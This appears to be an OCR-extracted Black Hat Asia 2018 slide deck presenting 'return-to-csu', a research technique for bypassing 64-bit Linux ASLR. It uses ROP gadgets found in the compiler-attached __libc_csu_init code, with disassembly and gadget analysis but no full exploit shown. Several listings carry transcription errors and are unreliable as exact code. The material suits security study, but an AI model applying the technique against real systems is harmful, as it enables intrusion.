



MARCH 20-23, 2018

MARINA BAY SANDS / SINGAPORE

return-to-CSU: A New Method to Bypass 64-bit Linux ASLR

Hector Marco, Ismael Ripoll

About us:

#BHASIA



Dr. Hector Marco



Dr. Ismael Ripoll

- UWS-UPV Research collaboration
- Linux, Glibc and other open source Contributions
- Google, Packet Storm Security rewards
- Black Hat Asia 2016, DeepSec 2016, 2014 ...
- Multiple CVEs and security reports:
 - Root shell by pressing enter key for 70 seconds
 - Grub 28 or Backspace 28: root shell
- Working on low level security:
 - Linux ASLR integer overflow
 - AMD Bulldozer weakness
- Experience in low level solutions:
 - RenewSSP
 - ASLR-NG

Motivation

- ASLR is present in all modern systems
- It is a barrier that attackers face in most attacks
- Assess its effectiveness in 64-bit systems is an endless task
- A generic method to bypass the ASLR in modern 64-bit systems could be re-used in multiple attacks scenarios.
- Can we create a generic method to bypass the ASLR in modern 64-bit systems?

This talk presents return-to-csu:

- A **direct** method to bypass the ASLR in 64-bit systems
- Demo will bypass SSP, NX, RELRO, PIE, FORTIFY ...

Overview

1. Brief of the ASLR in Linux
2. The real battlefield: Source vs executable code, they don't match!
3. Return-to-csu: A method to bypass the Linux ASLR in 64-bit systems
4. Making return-to-csu attack profitable
 - Rooper-mod: Auto exploit generation to drop shells
5. Demo: remote shell in a full protected 64-bit executable
 - Bypassing PIE, ASLR, NX, SSP, RELRO, etc.
6. Mitigations and conclusions

1. Brief of the Linux ASLR

What ASLR is? (naive vision)

- Wikipedia: A computer security technique for preventing exploitation of memory corruption vulnerabilities.
- Stack, executable, libraries, heap, etc are randomized.


What is ASLR actually in Operating Systems?

- It is a concept implementation with a lot of different flavours
- Linux, Windows, Mac OS X, Android have different ASLRs
- They have huge differences: random bits per area, randomization forms such us per boot, per exec, etc.

1. Brief of the Linux ASLR

Kernel loader randomization:

- **Stack:** At some random place close to the top
- **Executable:** If PIE then at random place close to the bottom else No-ASLR!
- **Heap:** If `randomize_va_space = 2` it will be placed at random offset from the executable else joint to the executable. From outside both look random.
- **Libraries:** Linux choose a random virtual address (`mmap_base`) between heap and stack. Then Linux will load the `ld.so` and jump to it.




1. Brief of the Linux ASLR

Kernel loader randomization:

- **Stack:** At some random place close to the top
- **Executable:** If PIE then at random place close to the bottom else No-ASLR!
- **Heap:** If `randomize_va_space = 2` it will be placed at random offset from the executable else joint to the executable. From outside both look random.
- **Libraries:** Linux choose a random virtual address (`mmap_base`) between heap and stack. Then Linux will load the `ld.so` and jump to it.

Then Linux will load the `ld.so` and jump to it




1. Brief of the Linux ASLR

Userland side randomization:

Let's inspect the VM layout at the beginning of the **userland** execution

```
(gdb) b _dl_start
56133fa7e000-56133fa7f000 r-xp  /home/BHAsia2018/test
56133fc7e000-56133fc80000 rw-p  /home/BHAsia2018/test
7f2ce47b2000-7f2ce47d9000 r-xp  /lib/x86_64-linux-gnu/ld-2.26.so
7f2ce49d9000-7f2ce49db000 rw-p  /lib/x86_64-linux-gnu/ld-2.26.so
7f2ce49db000-7f2ce49dc000 rw-p
7ffefafa453000-7ffefafa474000 rw-p  [stack]
7ffefafa4d2000-7ffefafa4d5000 r--p  [vvar]
7ffefafa4d5000-7ffefafa4d7000 r-xp  [vds]
```




- Linux loads the executable and the dynamic loader/linker (`ld.so`)
- The `libc.so` library is later loaded.

1. Brief of the Linux ASLR

Userland side randomization:

Let's inspect the VM layout at the beginning of the **executable** execution

```
(gdb) b __start
56133fa7e000-56133fa7f000 r-xp  /home/BHASia2018/test
56133fc7e000-56133fc7f000 r--p  /home/BHASia2018/test
56133fc7f000-56133fc80000 rw-p   /home/BHASia2018/test
7f2ce43d2000-7f2ce45a8000 r-xp  /lib/x86_64-linux-gnu/libc-2.26.so
7f2ce45a8000-7f2ce47a8000 ---p  /lib/x86_64-linux-gnu/libc-2.26.so
7f2ce47a8000-7f2ce47ac000 r--p  /lib/x86_64-linux-gnu/libc-2.26.so
7f2ce47ac000-7f2ce47ae000 rw-p   /lib/x86_64-linux-gnu/libc-2.26.so
7f2ce47ae000-7f2ce47b2000 rw-p   /lib/x86_64-linux-gnu/ld-2.26.so
7f2ce47b2000-7f2ce47d9000 r-xp  /lib/x86_64-linux-gnu/ld-2.26.so
7f2ce49b8000-7f2ce49ba000 rw-p   /lib/x86_64-linux-gnu/ld-2.26.so
7f2ce49d9000-7f2ce49da000 r--p  /lib/x86_64-linux-gnu/ld-2.26.so
7f2ce49da000-7f2ce49db000 rw-p   /lib/x86_64-linux-gnu/ld-2.26.so
7f2ce49db000-7f2ce49dc000 rw-p   [stack]
7ffefa453000-7ffefa474000 rw-p   [vvar]
7ffefa4d2000-7ffefa4d5000 r--p  [vdso]
```



- Libraries are loaded side by side there is no “more” randomization.
- There is not actual randomization form userland.

1. Brief of the Linux ASLR


Parameter	Linux 32 bit (i386)	Linux 64 bit (x86_64)
ASLR Entropy (Linux)	Very low (8 bits = 256)	High (28 bits = 268,435,456)
ABI / call parameters	Stack	Registers
Attacks like ret2-X	Yes	No
Offset2lib	Partial	Partial
Brute force in practice	Yes	No?
Native PIC/PIE CPU support	No	Yes (\$rip)

- The ASLR in 64-bit systems is not only better but faster.
- It is not only a matter of entropy, the x64 ABI introduces a challenge.

1. Brief of the Linux ASLR

Why Offset2lib attacks are “partially” possible?

- Offset2lib is a practical ASLR bypass for 64-bit systems
- It was a generic method valid for multiple attack scenarios
- No longer possible in modern Linux (fixed in 2015)
- Part of the attack method still valid to de-randomize the executable
- But exec-libc offset is not longer a constant value



We need to find an alternative:

- As generic as possible to be reused in multiple attack scenarios
- Valid for 64-bit systems, deal with ABI, etc.

2. The real battlefield: The Attached code

empty.c

```
int main(int argc, const char *argv[]) {
    return 0;
}
```

2. The real battlefield: The Attached code

empty.c

```
int main(int argc, const char *argv[]) {
    return 0;
}
```

```
$ gcc empty.c -o empty
$ nm -a empty | grep " t\| T"
0000000000000520 t deregister_tm_clones
00000000000005b0 t __do_global_dtors_aux
0000000000200df8 t __do_global_dtors_aux_fini_array_entry
0000000000000684 T __fini
0000000000000684 t .fini
0000000000200df8 t .fini_array
00000000000005f0 t frame_dummy
0000000000200df0 t __frame_dummy_init_array_entry
00000000000004b8 T __init
00000000000004b8 t .init
0000000000200df0 t .init_array
0000000000200df8 t __init_array_end
0000000000200df0 t __init_array_start
0000000000000680 T __libc_csu_fini
0000000000000610 T __libc_csu_init
00000000000005fa T main
00000000000004d0 t .plt
00000000000004e0 t .plt.got
0000000000000560 t register_tm_clones
00000000000004f0 T __start
00000000000004f0 t .text
```

2. The real battlefield: The Attached code

empty.c

```
int main(int argc, const char *argv[]) {
    return 0;
}
```

```
$ gcc empty.c -o empty
$ nm -a empty | grep " t\| T"
000000000000520 t deregister_tm_clones
00000000000005b0 t __do_global_dtors_aux
0000000000200df8 t __do_global_dtors_aux_fini_array_entry
0000000000000684 T __fini
0000000000000684 t .fini
0000000000200df8 t .fini_array
00000000000005f0 t frame_dummy
0000000000200df0 t __frame_dummy_init_array_entry
00000000000004b8 T __init
00000000000004b8 t .init
0000000000200df0 t .init_array
0000000000200df8 t __init_array_end
0000000000200df0 t __init_array_start
0000000000000680 T __libc_csu_fini
0000000000000610 T __libc_csu_init
00000000000005fa T main
00000000000004d0 t .plt
00000000000004e0 t .plt.got
0000000000000560 t register_tm_clones
00000000000004f0 T __start
00000000000004f0 t .text
```

Wait a moment !! My C program
only had `main()`, right?

What are these other functions?
From where? Who? When? ...

Is this code is in the executable
area? Why?

2. The real battlefield: The Attached code

```
$ objdump -d empty
```

```
empty: file format elf64-x86-64

Disassembly of section .init:
000000000000004b8 <_init>:
4b8: 48 83 ec 08          sub    $0x8,%rsp
4bc: 48 8b 05 25 0b 20 00  mov    0x200b25(%rip),%rax      # 200fe8 <__gmon_start__>
4c3: 48 85 c0              test   %rax,%rax
4c6: 74 02                je     4ca <_init+0x12>
4c8: ff d0                callq  *%rax
4ca: 48 83 c4 08          add    $0x8,%rsp
4ce: c3                   retq

Disassembly of section .plt:
000000000000004d0 <.plt>:
4d0: ff 35 f2 0a 20 00    pushq  0x200af2(%rip)      # 200fc8 <_GLOBAL_OFFSET_TABLE_+0x8>
4d6: ff 25 f4 0a 20 00    jmpq   *0x200af4(%rip)      # 200fd0 <_GLOBAL_OFFSET_TABLE_+0x10>
4dc: 0f 1f 40 00          nopl    0x0(%rax)

Disassembly of section .plt.got:
000000000000004e0 <_cxa_finalize@plt>:
4e0: ff 25 12 0b 20 00    jmpq   *0x200b12(%rip)      # 200ff8 <__cxa_finalize@GLIBC_2.2.5>
4e6: 66 90                xchg   %ax,%ax
```

2. The real battlefield: The Attached code

\$ objdump -d empty

```

e Disassembly of section .text:
000000000000004f0 <_start>:
D 4f0: 31 ed          xor    %ebp,%ebp
D 4f2: 49 89 d1        mov    %rdx,%r9
0 4f5: 5e              pop    %rsi
4f6: 48 89 e2        mov    %rsp,%rdx
4f9: 48 83 e4 f0        and    $0xfffffffffffffff0,%rsp
4fd: 50              push   %rax
4fe: 54              push   %rsp
4ff: 4c 8d 05 7a 01 00 00 lea    0x17a(%rip),%r8      # 680 <_libc_csu_fini>
506: 48 8d 0d 03 01 00 00 lea    0x103(%rip),%rcx     # 610 <_libc_csu_init>
50d: 48 8d 3d e6 00 00 00 lea    0xe6(%rip),%rdi      # 5fa <main>
514: ff 15 c6 0a 20 00 callq *0x200ac6(%rip)       # 200fe0 <_libc_start_main@GLIBC_2.2.5>
51a: f4              hlt
51b: 0f 1f 44 00 00    nopl   0x0(%rax,%rax,1)

00000000000000520 <deregister_tm_clones>:
0 520: 48 8d 3d e9 0a 20 00 lea    0x200ae9(%rip),%rdi      # 201010 <__TMC_END__>
527: 55              push   %rbp
528: 48 8d 05 e1 0a 20 00 lea    0x200ael(%rip),%rax      # 201010 <__TMC_END__>
52f: 48 39 f8        cmp    %rdi,%rax
532: 48 89 e5        mov    %rsp,%rbp
535: 74 19          je    550 <deregister_tm_clones+0x30>
537: 48 b8 05 9a 0a 20 00 mov    0x200a9a(%rip),%rax      # 200fd8 <_ITM_deregisterTMCloneTable>
53e: 48 85 c0        test   %rax,%rax
541: 74 0d          je    550 <deregister_tm_clones+0x30>
543: 5d              pop    %rbp
544: ff e0          jmpq  *%rax
546: 66 2e 0f 1f 84 00 00 nopw  %cs:0x0(%rax,%rax,1)
54d: 00 00 00
550: 5d              pop    %rbp
551: c3              retq
552: 0f 1f 40 00    nopl   0x0(%rax)
556: 66 2e 0f 1f 84 00 00 nopw  %cs:0x0(%rax,%rax,1)
55d: 00 00 00

```

2. The real battlefield: The Attached code

```
$ objdump -d empty
```

```
Disassembly of section .text:
0000000000000560 <register_tm_clones>:

560:   48 8d 3d a9 0a 20 00    lea    0x200aa9(%rip),%rdi      # 201010 <__TMC_END__>
567:   48 8d 35 a2 0a 20 00    lea    0x200aa2(%rip),%rsi      # 201010 <__TMC_END__>
56e:   55                      push   %rbp
56f:   48 29 fe                sub    %rdi,%rsi
572:   48 89 e5                mov    %rsp,%rbp
575:   48 c1 fe 03              sar    $0x3,%rsi
579:   48 89 f0                mov    %rsi,%rax
57c:   48 c1 e8 3f              shr    $0x3f,%rax
580:   48 01 c6                add    %rax,%rsi
583:   48 d1 fe                sar    %rsi
586:   74 18                  je     5a0 <register_tm_clones+0x40>
588:   48 8b 05 61 0a 20 00    mov    0x200a61(%rip),%rax      # 200ff0 <_ITM_registerTMCloneTable>
58f:   48 85 c0                test   %rax,%rax
592:   74 0c                  je     5a0 <register_tm_clones+0x40>
594:   5d                      pop    %rbp
595:   ff e0                  jmpq   *%rax
597:   66 0f 1f 84 00 00 00    nopw   0x0(%rax,%rax,1)
59e:   00 00
5a0:   5d                      pop    %rbp
5a1:   c3                      retq
5a2:   0f 1f 40 00              nopl   0x0(%rax)
5a6:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
5ad:   00 00 00
```

2. The real battlefield: The Attached code

```
$ objdump -d empty
```

```
Disassembly of section .text:
0000000000000005b0 <__do_global_dtors_aux>:
 5b0: 80 3d 59 0a 20 00 00  cmpb  $0x0,0x200a59(%rip)      # 201010 <__TMC_END__>
 5b7: 75 2f                   jne   5e8 <__do_global_dtors_aux+0x38>
 5b9: 48 83 3d 37 0a 20 00  cmpq  $0x0,0x200a37(%rip)      # 200ff8 <__cxa_finalize@GLIBC_2.2.5>
 5c0: 00
 5c1: 55                     push  %rbp
 5c2: 48 89 e5               mov   %rsp,%rbp
 5c5: 74 0c                   je    5d3 <__do_global_dtors_aux+0x23>
 5c7: 48 8b 3d 3a 0a 20 00  mov   0x200a3a(%rip),%rdi      # 201008 <__dso_handle>
 5ce: e8 0d ff ff ff         callq 4e0 <__cxa_finalize@plt>
 5d3: e8 48 ff ff ff         callq 520 <deregister_tm_clones>
 5d8: c6 05 31 0a 20 00 01  movb  $0x1,0x200a31(%rip)      # 201010 <__TMC_END__>
 5df: 5d                     pop   %rbp
 5e0: c3                     retq 
 5e1: 0f 1f 80 00 00 00 00  nopl  0x0(%rax)
 5e8: f3 c3                   repz  retq 
 5ea: 66 0f 1f 44 00 00       nopw  0x0(%rax,%rax,1)
0000000000000005f0 <frame_dummy>:
 5f0: 55                     push  %rbp
 5f1: 48 89 e5               mov   %rsp,%rbp
 5f4: 5d                     pop   %rbp
 5f5: e9 66 ff ff ff         jmpa  560 <register_tm_clones>
0000000000000005fa <main>:
 5fa: 55                     push  %rbp
 5fb: 48 89 e5               mov   %rsp,%rbp
 5fe: 89 7d fc               mov   %edi,-0x4(%rbp)
 601: 48 89 75 f0             mov   %rsi,-0x10(%rbp)
 605: b8 00 00 00 00         mov   $0x0,%eax
 60a: 5d                     pop   %rbp
 60b: c3                     retq 
 60c: 0f 1f 40 00             nopl  0x0(%rax)
```

2. The real battlefield: The Attached code

```
$ objdump -d empty
```

```
Disassembly of section .text:
0000000000000000 <_libc_csu_init>:
 610: 41 57          push  %r15
 612: 41 56          push  %r14
 614: 41 89 ff        mov   %edi,%r15d
 617: 41 55          push  %r13
 619: 41 54          push  %r12
 61b: 4c 8d 25 ce 07 20 00 lea   0x2007ce(%rip),%r12      # 200df0 <__frame_dummy_init_array_entry>
 622: 55             push  %rbp
 623: 48 8d 2d ce 07 20 00 lea   0x2007ce(%rip),%rbp      # 200df8 <__init_array_end>
 62a: 53             push  %rbx
 62b: 49 89 f6        mov   %rsi,%r14
 62e: 49 89 d5        mov   %rdx,%r13
 631: 4c 29 e5        sub   %r12,%rbp
 634: 48 83 ec 08        sub   $0x8,%rsp
 638: 48 c1 fd 03        sar   $0x3,%rbp
 63c: e8 77 fe ff ff    callq 4b8 <_init>
 641: 48 85 ed        test  %rbp,%rbp
 644: 74 20          je    666 <_libc_csu_init+0x56>
 646: 31 db          xor   %ebx,%ebx
 648: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
 64f: 00
 650: 4c 89 ea        mov   %r13,%rdx
 653: 4c 89 f6        mov   %r14,%rsi
 656: 44 89 ff        mov   %r15d,%edi
 659: 41 ff 14 dc    callq *(%r12,%rbx,8)
 65d: 48 83 c3 01    add   $0x1,%rbx
 661: 48 39 dd        cmp   %rbx,%rbp
 664: 75 ea          jne   650 <_libc_csu_init+0x40>
 666: 48 83 c4 08    add   $0x8,%rsp
 66a: 5b             pop   %rbx
 66b: 5d             pop   %rbp
 66c: 41 5c          pop   %r12
 66e: 41 5d          pop   %r13
 670: 41 5e          pop   %r14
 672: 41 5f          pop   %r15
 674: c3             retq
```

2. The real battlefield: The Attached code

```
$ objdump -d empty
```

```
Disassembly of section .text:  
0000000000000000 <_libc_csu_fini>:  
680: f3 c3 repz retq  
  
Disassembly of section .fini:  
0000000000000000 <fini>:  
684: 48 83 ec 08 sub $0x8,%rsp  
688: 48 83 c4 08 add $0x8,%rsp  
68c: c3
```

Application source code

```
$ cat empty.c
int main(int argc, const char *argv[]){
    return 0;
}
```

Application compiled code

Application source code

```
$ cat empty.c
int main(int argc, const char *argv[]){
    return 0;
}
```

Application compiled code

We have named it Attached code


Attached code

- Who is attaching it?
- What is it used for?
- Why it is attached to the executable?
- How protected is that attached code?
- How profitable is this code?

2. The real battlefield: Who is attaching it?

The minimum static linked code in dynamic linked applications


FUNCTION	FILE PATH
main()	/home/blackHat2018/empty
deregister_tm_clones()	
register_tm_clones()	
__do_global_dtors_aux()	/usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o
frame_dummy()	
__libc_csu_fini()	
__libc_csu_init()	/usr/lib/x86_64-linux-gnu/libc_nonshared.a
_start()	/usr/lib/x86_64-linux-gnu/Scrt1.o
_init()	
_fini()	/usr/lib/x86_64-linux-gnu/crti.o



2. The real battlefield: Who is attaching it?

The minimum static linked code in dynamic linked applications


FUNCTION	FILE PATH
main()	/home/blackHat2018/empty
deregister_tm_clones()	
register_tm_clones()	
__do_global_dtors_aux()	/usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o
frame_dummy()	
__libc_csu_fini()	
__libc_csu_init()	/usr/lib/x86_64-linux-gnu/libc_nonshared.a
_start()	/usr/lib/x86_64-linux-gnu/Scrt1.o
_init()	
_fini()	/usr/lib/x86_64-linux-gnu/crti.o



2. The real battlefield: What is it used for?

Simplified `exec()` syscall flow. The Linux Kernel:

- Loads the executable and dynamic loader
- Jumps to `_start()` in the dynamic loader (`ld.so`)



2. The real battlefield: What is it used for?

Example con/destructors

```
#include <stdio.h>
#include <stdlib.h>

void myfunctAtExit(void) {
    printf("myfunctAtExit()\n");
}

void __attribute__ ((constructor)) beforeMain() {
    printf("Before main()\n");
}

int main(int argc, const char *argv[]) {
    atexit(myfunctAtExit);
    printf("main()\n");
    return 0;
}

void __attribute__ ((destructor)) afterMain() {
    printf("After main()\n");
}
```

execution output

```
$ gcc consdest.c -o consdest
./consdest
Before main()
main()
myfunctAtExit()
After main()
```

2. The real battlefield: Why it is attached to the exec?

#BHASIA

These program-level initializers and finalizers need to access to application pointers. For example `__libc_csu_init()`:


- `__frame_dummy_init_array_entry`
- `__init_array_end`

Each application has their initializers/finalizers:

- Pointers to those functions are stored in the executable
- This is why part of this code is attached to the executable, to make calls “easy”

Example of non-compiled attached code to the executable

```
0000000000000610 <__libc_csu_init>:
610: 41 57          push    %r15
612: 41 56          push    %r14
614: 41 89 ff        mov     %edi,%r15d
617: 41 55          push    %r13
619: 41 54          push    %r12
61b: 4c 8d 25 ce 07 20 00 lea    0x2007ce(%rip),%r12    # 200df0 <__frame_dummy_init_array_entry>
622: 55          push    %rbp
623: 48 8d 2d ce 07 20 00 lea    0x2007ce(%rip),%rbp    # 200df8 <__init_array_end>
62a: 53          push    %rbx
...
...
```



2. The real battlefield: How protected it is?

How protected is that attached code?

empty.c

```
int main(int argc, const char *argv[]) {
    return 0;
}
```

```
$ gcc empty.c -o empty -fstack-protector-all
$ objdump -d empty | grep -e ".*__stack_chk_fail@plt>\|>:"
0000000000000510 <_init>:
0000000000000530 <.plt>:
0000000000000540 <__stack_chk_fail@plt>:
0000000000000550 <__cxa_finalize@plt>:
0000000000000560 <_start>:
0000000000000590 <deregister_tm_clones>:
00000000000005d0 <register_tm_clones>:
0000000000000620 <__do_global_dtors_aux>:
0000000000000660 <frame_dummy>:
000000000000066a <main>:
  69c:   e8 9f fe ff ff          callq  540 <__stack_chk_fail@plt>
00000000000006b0 <__libc_csu_init>:
0000000000000720 <__libc_csu_fini>:
0000000000000724 <_fini>:
```

PIE compiled: **Good**

- It can be loaded at random addresses

No SSP protected: **Bad**

- SSP is only in main ()

2. The real battlefield: How profitable it is?

#BHASIA


How profitable is this code in an attack?

- The “attached code” is present in almost all apps
- Independently of the app source code we can expect this assembler code
- We know the protections applied: No SSP protected
- Useful when attacking unknown targets

If we can abuse of it we can create generic methods

How can we abuse of this code in practice ?

- **return-to-csu**: bypassing 64-bit Linux ASLR



3. Return-to-csu: 64-bit ASLR bypass

Approach to bypass the ASLR

- 1) “Attached code” ROP-chain analysis with popular tools
- 2) Manual analysis of the “attached code” for fun and profit: Beyond automatic tools.
- 3) Universal µROP to control the execution flow: Controlling up to 3 arguments
- 4) Info leak with the µROP: Direct libc de-randomization.
- 5) Building the final full-ROP attack: Getting a shell.

3. Return-to-csu: 64-bit ASLR bypass

#BHASIA

1) “Attached code” ROP-chain analysis with popular tools

Attached Code only



3. Return-to-csu: 64-bit ASLR bypass

#BHASIA

1) “Attached code” ROP-chain analysis with popular tools

Attached Code only

ropper **result**

Found gadgets to fill rdi and rsi
But for arbitrary execution it still needs:

- write-what-where (params)
- rdx control (third argument)
- syscall/int 0x80 gadgets

3. Return-to-csu: 64-bit ASLR bypass

#BHASIA

1) “Attached code” ROP-chain analysis with popular tools

Attached Code only

ropper **result**

Found gadgets to fill rdi and rsi
But for arbitrary execution it still needs:

- write-what-where (params)
- rdx control (third argument)
- syscall/int 0x80 gadgets

3. Return-to-csu: 64-bit ASLR bypass

#BHASIA

1) “Attached code” ROP-chain analysis with popular tools

Attached Code only

ropper **result**

~~Found gadgets to fill rdi and rsi
But for arbitrary execution it still needs:
• write-what-where (params)
• rdx control (third argument)
• syscall/int 0x80 gadgets~~

ropshell.com result

- No write-what-where
- No rdx control
- No syscall/int 0x80

1) “Attached code” ROP-chain analysis with popular tools

Attached Code only

ropper **result**

Found gadgets to fill rdi and rsi
But for arbitrary execution it still needs:

- write-what-where (params)
- rdx control (third argument)
- syscall/int 0x80 gadgets

ropshell.com result

~~Found gadgets to fill rdi and rsi
Same problem:~~

- No write-what-where
 - No rdx control
 - No syscall/int 0x80

1) “Attached code” ROP-chain analysis with popular tools

Attached Code only

ropper **result**

~~Found gadgets to fill rdi and rsi
But for arbitrary execution it still needs:~~

- write-what-where (params)
 - rdx control (third argument)
 - Syscall numbers

Auto ROP-chain generation failed

~~Found gadgets to fill rdi and rsi
Same problem:~~

- No write-what-where
 - No rdx control
 - No syscall/int 0x80

3. Return-to-csu: Analyzing the “extra code”

2) Manual analysis of the “attached code” for fun and profit

- We found something interesting in `__libc_csu_init()`

```
0000000000000610 <__libc_csu_init>:  
...     ...     ...  
650: 4c 89 ea          mov    %r13,%rdx  
653: 4c 89 f6          mov    %r14,%rsi  
656: 44 89 ff          mov    %r15d,%edi  
659: 41 ff 14 dc        callq  *(%r12,%rbx,8)  
65d: 48 83 c3 01        add    $0x1,%rbx  
661: 48 39 dd          cmp    %rbx,%rbp  
664: 75 ea              jne    650 <__libc_csu_init+0x40>  
666: 48 83 c4 08        add    $0x8,%rsp  
66a: 5b                 pop    %rbx  
66b: 5d                 pop    %rbp  
66c: 41 5c               pop    %r12  
66e: 41 5d               pop    %r13  
670: 41 5e               pop    %r14  
672: 41 5f               pop    %r15  
674: c3                 retq
```

3. Return-to-csu: Analyzing the “extra code”

2) Manual analysis of the “attached code” for fun and profit

- We found something interesting in `__libc_csu_init()`

```
0000000000000610 <__libc_csu_init>:  
...     ...     ...  
650: 4c 89 ea          mov    %r13,%rdx  
653: 4c 89 f6          mov    %r14,%rsi  
656: 44 89 ff          mov    %r15d,%edi  
659: 41 ff 14 dc        callq  *(%r12,%rbx,8)  
65d: 48 83 c3 01        add    $0x1,%rbx  
661: 48 39 dd          cmp    %rbx,%rbp  
664: 75 ea              jne    650 <__libc_csu_init+0x40>  
666: 48 83 c4 08        add    $0x8,%rsp  
66a: 5b  
66b: 5d  
66c: 41 5c  
66e: 41 5d  
670: 41 5e  
672: 41 5f  
674: c3  
  
          pop    %rbx  
          pop    %rbp  
          pop    %r12  
          pop    %r13  
          pop    %r14  
          pop    %r15  
          retq  
          Gadget 1
```

Gadget 1: not bad, we control:
rbx, rbp, r12, r13, r14, r15
The interesting ones are:
rdi: First argument
rsi: Second argument
rdx: Third argument

3. Return-to-csu: Analyzing the “extra code”

2) Manual analysis of the “attached code” for fun and profit

- We found something interesting in `__libc_csu_init()`

```
0000000000000610 <__libc_csu_init>:
...
...
...
650: 4c 89 ea      . . .
653: 4c 89 f6      ...
656: 44 89 ff      ...
659: 41 ff 14 dc    mov    %r13,%rdx
65d: 48 83 c3 01    mov    %r14,%rsi
661: 48 39 dd      mov    %r15d,%edi
664: 75 ea          callq  *(%r12,%rbx,8)
666: 48 83 c4 08    add    $0x1,%rbx
66a: 5b              cmp    %rbx,%rbp
66b: 5d              jne    650 <__libc_csu_init+0x40>
66c: 41 5c            add    $0x8,%rsp
66e: 41 5d            pop    %rbx
66f: 5d              pop    %rbp
670: 41 5c            pop    %r12
671: 41 5d            pop    %r13
672: 41 5e            pop    %r14
673: 41 5f            pop    %r15
674: c3              retq

```

Gadget 2

Gadget 1

Gadget 2: arguments + call
`edi` from `r13`
`rsi` from `r14`
`rdx` from `r15`
To control the destination
we need `rbx` and `r12`

Gadget 1: not bad, we control:
`rbx`, `rbp`, `r12`, `r13`, `r14`, `r15`
The interesting ones are:
`rdi`: First argument
`rsi`: Second argument
`rdx`: Third argument

3. Return-to-csu: Analyzing the “extra code”

2) Manual analysis of the “attached code” for fun and profit

- We found something interesting in `__libc_csu_init()`

```
0000000000000610 <__libc_csu_init>:
...
...
...
650: 4c 89 ea      ...
653: 4c 89 f6      ...
656: 44 89 ff      ...
659: 41 ff 14 dc    ...
65d: 48 83 c3 01    ...
661: 48 39 dd      ...
664: 75 ea          ...
666: 48 83 c4 08    ...
66a: 5b
66b: 5d
66c: 41 5c
66e: 41 5d
670: 41 5e
672: 41 5f
674: c3

        mov    %r13,%rdx
        mov    %r14,%rsi
        mov    %r15d,%edi
        callq *(%r12,%rbx,8)
        add    $0x1,%rbx
        cmp    %rbx,%rbp
        jne    650 <__libc_csu_init+0x40>
        add    $0x8,%rsp
        pop    %rbx
        pop    %rbp
        pop    %r12
        pop    %r13
        pop    %r14
        pop    %r15
        retq

Gadget 2
Gadget 1
```

Gadget 2: arguments + call

edi from r13
rsi from r14
rdx from r15

To control the destination
we need rbx and r12

Gadget 1: not bad, we control:

rbx, rbp, r12, r13, r14, r15

The interesting ones are:


rdi: First argument

rsi: Second argument

rdx: Third argument



3. Return-to-csu: A controlled call

3) Universal µROP to control the execution flow from `__libc_csu_init()`




3. Return-to-csu: A controlled call

3) Universal µROP to control the execution flow from `__libc_csu_init()`



3. Return-to-csu: A controlled call

3) Universal µROP to control the execution flow from `__libc_csu_init()`



C code

```
void (*funcPtr) (void *,void *,void *);
funcPtr = addr;
(*funcPtr) (arg1, arg2, arg3);
```


A controlled call where:

```
addr = r12 + (rbx * 8)
funcPtr = addr;
arg1 = edi
arg2 = rsi
arg3 = rdx
```

We can jump where we want and control up to 3 arguments.
edi only the 32 lowest bits

3. Return-to-csu: A controlled call

3) Universal µROP to control the execution flow from `__libc_csu_init()`



C code

```
void (*funcPtr) (void *,void *,void *);
funcPtr = addr;
(*funcPtr) (arg1, arg2, arg3);
```

A controlled call where:

```
addr = r12 + (rbx * 8)
funcPtr = addr;
arg1 = edi → only the 32 lowest bits
arg2 = rsi
arg3 = rdx
```


We can jump where we want and control up to 3 arguments.
edi only the 32 lowest bits

3. Return-to-csu: A controlled call

3) Universal µROP to control the execution flow from `__libc_csu_init()`

Considering only the **Attached Code** we have:

- A µROP chain but no gadgets like write-what-where. 😐
- Control of 3 arguments: But only values
 - We can set `rsi` to `0x55743e8a8000` 😐
 - But not `rsi` → {"sh", "-i", NULL}
 - Half `rdi`: we have `edi`
- Control flow: We can specify the destination of a call 😊
- No EAX control, nor SYSCALL/SYSENTER/INT 0x80 gadgets
 - We cannot execute syscalls 😢
- We don't know where are loaded: stack, libs, heap, ... 😢




3. Return-to-csu: A controlled call

3) Universal µROP to control the execution flow from `__libc_csu_init()`

Considering only the **Attached Code** we have:

- A µROP chain but no gadgets like write-what-where. 😐
- Control of 3 arguments: But only values
 - We can set `rsi` to `0x55743e8a8000` 😐
 - But not `rsi` → {"sh", "-i", NULL}
 - Half `rdi`: we have `edi`
- Control flow: We can specify the destination of a call 😊
- No EAX control, nor SYSCALL/SYSENTER/INT 0x80 gadgets
 - We cannot execute syscalls 😢
- We don't know where are loaded: stack, libs, heap, ... 😢

We want a generic method: What can we do?



3. Return-to-csu: looking for a destination

4) Info leak with a µROP : Analyzing the PLTs/GOTs

- Let's review again the "attached code"

```
$ gcc empty.c -o empty
$ nm -a empty | grep " t\| T"
0000000000000520 t deregister_tm_clones
00000000000005b0 t __do_global_dtors_aux
0000000000200df8 t __do_global_dtors_aux_fini_array_entry
0000000000000684 T __fini
0000000000000684 t .fini
0000000000200df8 t .fini_array
00000000000005f0 t frame_dummy
0000000000200df0 t __frame_dummy_init_array_entry
00000000000004b8 T __init
00000000000004b8 t .init
0000000000200df0 t .init_array
0000000000200df8 t __init_array_end
0000000000200df0 t __init_array_start
0000000000000680 T __libc_csu_fini
0000000000000610 T __libc_csu_init
00000000000005fa T main
00000000000004d0 t .plt
00000000000004e0 t .plt.got
0000000000000560 t register_tm_clones
00000000000004f0 T __start
00000000000004f0 t .text
```

3. Return-to-csu: looking for a destination

4) Info leak with a µROP : Analyzing the PLTs/GOTs

- Let's review again the "attached code"

```
$ gcc empty.c -o empty
$ nm -a empty | grep " t\| T"
000000000000520 t deregister_tm_clones
0000000000005b0 t __do_global_dtors_aux
0000000000200df8 t __do_global_dtors_aux_fini_array_entry
000000000000684 T __fini
000000000000684 t .fini
0000000000200df8 t .fini_array
0000000000005f0 t frame_dummy
0000000000200df0 t __frame_dummy_init_array_entry
0000000000004b8 T __init
0000000000004b8 t .init
0000000000200df0 t .init_array
0000000000200df8 t __init_array_end
0000000000200df0 t __init_array_start
000000000000680 T __libc_csu_fini
000000000000610 T __libc_csu_init
0000000000005fa T main
0000000000004d0 t .plt
0000000000004e0 t .plt.got
000000000000560 t register_tm_clones
0000000000004f0 T __start
0000000000004f0 t .text
```

PLTs are good candidates:

- They are part of the **Attached Code**
- We can call any @PLT
